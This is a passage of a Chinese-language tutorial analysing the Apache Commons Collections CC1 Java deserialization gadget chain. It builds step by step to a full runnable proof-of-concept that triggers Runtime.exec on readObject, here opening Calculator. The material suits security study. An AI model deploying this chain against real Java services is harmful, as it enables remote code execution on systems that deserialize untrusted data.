接收了一个对象,并接收该对象的方法,方法名,方法所需要的参数类型,以上三者我们都能进行控制,所以可以通过这里进行命令控制

1
2
3
Runtime runtime = Runtime.getRuntime();
Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"});
invoketransformer.transform(runtime);

但是这里要注意Runtime类是没有继承序列化接口的,所以在反序列化后传递进去一个Runtime实例是会报错的,所以这里要使用反射来获取,于是就要想办法把Runtime.getRuntime()这一条件去掉,就到了ConstantTransformer这个类
上面说了,其transform方法是将输入的Object原封不动的返回回去,所以可以这样

1
2
3
Object constantTransformer = new ConstantTransformer(Runtime.getRuntime()).transform(123);
Transformer invoketransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"});
invoketransformer.transform(constantTransformer);

最终把上面两者搭配ChainedTransformer进行结合

1
2
3
4
5
6
7
8
public void test(){
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app"})

});
chain.transform(123);
}

此时只要ChainedTransformer反序列化后调用transform方法并传递任意内容即可实现rce,但是当尝试去序列化的时候,发生了一个问题:
图片

因为这里的Runtime.getRuntime()返回的是一个Runtime的实例,而Runtime并没有继承Serializable,所以这里会序列化失败。

那么我们就需要找到一个方法来获取到Runtime.getRuntime()返回的结果,并将其传入invoketransformer的transform方法中。这就有了上边那条链。

这里通过InvokerTransformer来实现了一次反射,即通过反射来反射,先是调用getMethod方法获取了getRuntime这个Method对象,接着又通过Invoke获取getRuntime的执行结果

这里刚开始看Class[].class以及new Class[0]是不太理解的,去调用getMethod方法查看定义

图片

这里需要传入一个name也就是要调用的方法名,接着需要传递一个可变参数,所以这里的Class[].class,其实就是对应着这里的可变参数,即使我们不需要传递参数,也需要在这里加一个Class[].class,后边再加一个new Class[0]起到占位的作用

梳理下目前构造的链:

1
2
3
4
5
6
7
8
9
10
11
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
chain.transform(123);

目前构造到只需要反序列化后调用transform方法,并传递任意内容即可rce。我们的目的是在调用readObject的时候就触发rce,也就是说我们现在需要找到一个点调用了transform方法(如果能找到在readObject后就调用那是最好的),如果找不到在readObject里调用transform方法,那么就需要找到一条链,在readObject触发起点,接着一步步调用到了transform方法。

cc1里用的是Lazymap#get这个方法:

图片

如果这里的this.factory可控,那么我们就可以通过LazyMap来延长我们的链,下一步就是找哪里调用了get方法了

1
protected final Transformer factory;

这里的factory并没有被transient以及static关键字修饰,所以是我们可控的,并且由于factory是在类初始化时定义的,所以我们可以通过创建LazyMap实例的方式来设置他的值
图片

但是这里的构造方法并不是public的,所以需要通过反射的方式来获取到这个构造方法,再创建其实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
LazyMap map = (LazyMap)constructor.newInstance(innermap,chain);
map.get(123);
}

接着我们需要找到某个地方调用了get方法,并且传递了任意值。通过学习了上边动态代理的知识,我们可以开始分析cc1的前半段链了

入口时AnnotationInvocationHandler的readObject:

图片

这里的readObject又调用了this.memberValues的entrySet方法。如果这里的memberValues是个代理类,那么就会调用memberValues对应handler的invoke方法,cc1中将handler设置为AnnotationInvocationHandler(其实现了InvocationHandler,所以可以被设置为代理类的handler)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}

switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);

这里对this.memberValues调用了get方法,如果此时this.memberValues为我们的map,那么就会触发LazyMap#get,从而完成触发rce
完整POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.PredicatedMap;



import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class cc1 {

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);



Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler

Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象



Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc1"));
outputStream.writeObject(handler);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc1"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}

}
}

分析一下利用过程:
在readObject时,会触发AnnotationInvocationHandler#readObject方法

图片

此时调用了this.memberValues.entrySet,而this.memberValues是之前构造好的proxy_map,由于这是一个代理对象,所以调用其方法时,会去调用其创建代理时设置的handler的invoke方法

图片

这个proxy_map设置的handler为这个map_handler,同样是InvocationHandler这个类,接着会调用他的invoke方法:

图片

InvocationHandler#invoke的78行代码中调用了this.memberValues#get,此时的this.memberValues为之前设置好的lazymap,所以这里调用的是lazymap#get,从而触发后边的rce链

这里还是比较绕的,因为设置了两个handler,但是第一个handler是为了触发lazymap#get,而第二个handler实际上只是为了触发代理类所设置handler的invoke方法。

接着解释一些细节的问题:

1.为什么这里要用反射的方式来创建AnnotationInvocationHandler的实例?

因为AnnotationInvocationHandler并不是public类,所以无法直接通过new的方式来创建其实例

图片

2.为什么创建其实例时传入的第一个参数是Override.class?

因为在创建实例的时候对传入的第一个参数调用了isAnnotation方法来判断其是否为注解类

图片

1
2
3
public boolean isAnnotation() {
return (getModifiers() & ANNOTATION) != 0;
}

而Override.class正是java自带的一个注解类,换成其他注解类也行不过推荐是java自带的。

PS

创建lazymap那里其实并不需要用到反射,因为lazymap自带了一个方法来帮助我们创建其实例

图片

所以把上述通过反射来创建LazyMap的实例代码改为如下,也是可以成功的

1
2
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);

p神就是用的该方法进行创建LazyMap实例